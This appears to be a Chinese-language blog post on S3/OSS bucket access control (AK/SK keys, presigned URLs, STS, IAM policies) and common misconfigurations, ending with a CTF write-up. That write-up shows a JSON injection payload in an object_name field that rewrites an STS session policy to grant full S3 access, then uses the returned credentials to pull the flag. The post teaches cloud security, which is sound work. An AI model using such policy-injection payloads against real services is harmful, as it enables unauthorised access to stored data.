储存桶的安全应用问题

June 16, 2025
3 min read
By bx

Table of Contents

This is a list of all the sections in this post. Click on any of them to jump to that section.

储存桶的安全应用问题

储存桶的安全应用问题

参考文章:

奇安信攻防社区-浅谈S3标准下存储桶应用中的安全问题

私有读私有写的概念

在 S3 存储桶的访问控制中,私有读私有写指的是:

  • 私有读:只有授权用户可以读取存储桶或其文件内容。
  • 私有写:只有授权用户可以向存储桶中写入数据或修改存储桶内容。

默认情况下,S3 存储桶是私有的,只有拥有访问权限的用户才能执行相关操作。


访问问控制方式

为了保证私有读私有写,S3 提供了以下几种访问控制方式:

a. 使用访问密钥(AK/SK)

{
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
}
  • AK(Access Key ID) SK(Secret Access Key) 是访问 S3 的核心凭证。
  • 拥有 AK/SK 的用户可以直接通过 API 或 SDK 与 S3 交互。
  • AK/SK 的管理需要谨慎,泄露可能导致存储桶被未授权访问。

b. 预签名 URL(Pre-Signed URL)

  • 预签名 URL 是一种临时授权方式,用于外部用户访问存储桶中的资源。
  • 签名 URL 包含了资源路径、有效期以及加密的授权信息。
  • 用户无需 AK/SK,通过签名 URL 即可访问指定资源。
  • 适合短时间的临时访问场景,例如文件下载或共享。

c. 临时凭据(STS:Security Token Service)

  • STS 提供了基于 IAM(身份访问管理)的临时凭据。
  • 可以限定凭据的有效时间以及权限范围。
  • 适用于动态生成授权的场景,例如多用户临时访问。

RAM/IAM 策略详解

RAM(Resource Access Management)和

IAM(Identity and Access Management)

策略是云服务中核心的访问控制机制,用于精确控制用户、角色和服务对云资源的访问权限。


1. 基本概念

IAM vs RAM

  • AWS IAM:Amazon Web Services 的身份与访问管理服务
  • 阿里云 RAM:阿里云的资源访问管理服务
  • 核心目标:都是实现”谁可以在什么条件下对哪些资源执行什么操作”

策略组成要素

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow/Deny",
      "Principal": "用户/角色/服务",
      "Action": "操作权限",
      "Resource": "资源ARN",
      "Condition": "条件限制"
    }
  ]
}

2. 策略类型

a. 基于身份的策略(Identity-based Policy)

  • 附加到用户、用户组或角色上
  • 定义该身份可以执行的操作
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::my-bucket/*"
    }
  ]
}

b. 基于资源的策略(Resource-based Policy)

  • 直接附加到资源上(如 S3 存储桶策略)
  • 定义谁可以访问该资源
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowUserAccess",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::

安全问题

直接把 ASKS 硬编码到前端

导致直接泄露

// JS 
const ossClient = new OSS({
  accessKeyId: 'LTAI5tNvxxxxxxxxxx',     // 💀 完全暴露
  accessKeySecret: 'xxxxxxxxxxxxxxxxxxx', // 💀 完全暴露
  bucket: 'my-bucket',
  region: 'oss-cn-hangzhou'
});

同时会导致一个问题,给的权限过大

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "oss:*",           // 💀 所有操作
      "Resource": "acs:oss:*:*:*"  // 💀 所有资源
    }
  ]
}

CTF 中题目体现

d3invitation

一个登录页面

上传一个名字跟图像,抓包,可以发现key和id泄露

分析这个jwt

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJaNlE5OEhMUE9FTkg0RTBFMUlWTiIsImV4cCI6MTc0ODYyMjc3MywicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2Tmprd1lUZ3dOMlUyWW1NNU5HWmxNVEV5TldReU5tTTFaakkxWW1FNVpDNXFjR2NpWFgxZGZRPT0ifQ.TXr-XgRJtPFXLOcKKCEB-j8PUx6H2ssvdt-Y3WOBehrESEf51XiibCz6SqtQ2aBCGpiW_i1eNlnawm7dNsq1dQ

—》

{
  "accessKey": "Z6Q98HLPOENH4E0E1IVN",
  "exp": 1748622773,
  "parent": "B9M320QXHD38WUR2MIY3",
  "sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vNjkwYTgwN2U2YmM5NGZlMTEyNWQyNmM1ZjI1YmE5ZC5qcGciXX1dfQ=="
}

base64解码

{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/690a807e6bc94fe1125d26c5f25ba9d.jpg"]}]}

我们逃逸这个,伪造一个,保证我们获得访问权限

{ "object_name": "690a807e6bc94fe1125d26c5f25ba9d.jpg\"],\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*\"],\"test\":[\"test" }

{
  "access_key_id": "F3BZ2MHNQYP7T4ZLFGG1",
  "secret_access_key": "NF39mk0QsXRhzs5kfq1fUIF2bvrVU3HUoROqOIOO",
  "session_token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJGM0JaMk1ITlFZUDdUNFpMRkdHMSIsImV4cCI6MTc0ODYyMzk0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZLaUpkTENKU1pYTnZkWEpqWlNJNld5SmhjbTQ2WVhkek9uTXpPam82S2lKZGZWMTkifQ.NXmVD94r6yY3Gb1QA1GqS0IrErLnHIkHvb_My9xPiqJLMFBCDtXY2wcFeghTtpBc3ABNa3z5ZfbioVXF7yVpWw"
}

利用AWS CLI

export AWS_ACCESS_KEY_ID=F3BZ2MHNQYP7T4ZLFGG1
export AWS_SECRET_ACCESS_KEY=NF39mk0QsXRhzs5kfq1fUIF2bvrVU3HUoROqOIOO
export AWS_SESSION_TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJGM0JaMk1ITlFZUDdUNFpMRkdHMSIsImV4cCI6MTc0ODYyMzk0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTF4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZLaUpkTENKU1pYTnZkWEpqWlNJNld5SmhjbTQ2WVhkek9uTXpPam82S2lKZGZWMTkifQ.NXmVD94r6yY3Gb1QA1GqS0IrErLnHIkHvb_My9xPiqJLMFBCDtXY2wcFeghTtpBc3ABNa3z5ZfbioVXF7yVpWw"export AWS_DEFAULT_REGION=us-east-1

然后执行

aws s3 ls --endpoint-url http://35.220.136.70:32105

root@VM-0-9-ubuntu:/home/ubuntu# aws s3 sync s3://flag ./flag_downloaded --endpoint-url http://35.220.136.70:32105
download: s3://flag/flag to flag_downloaded/flag

下载下来

得到flag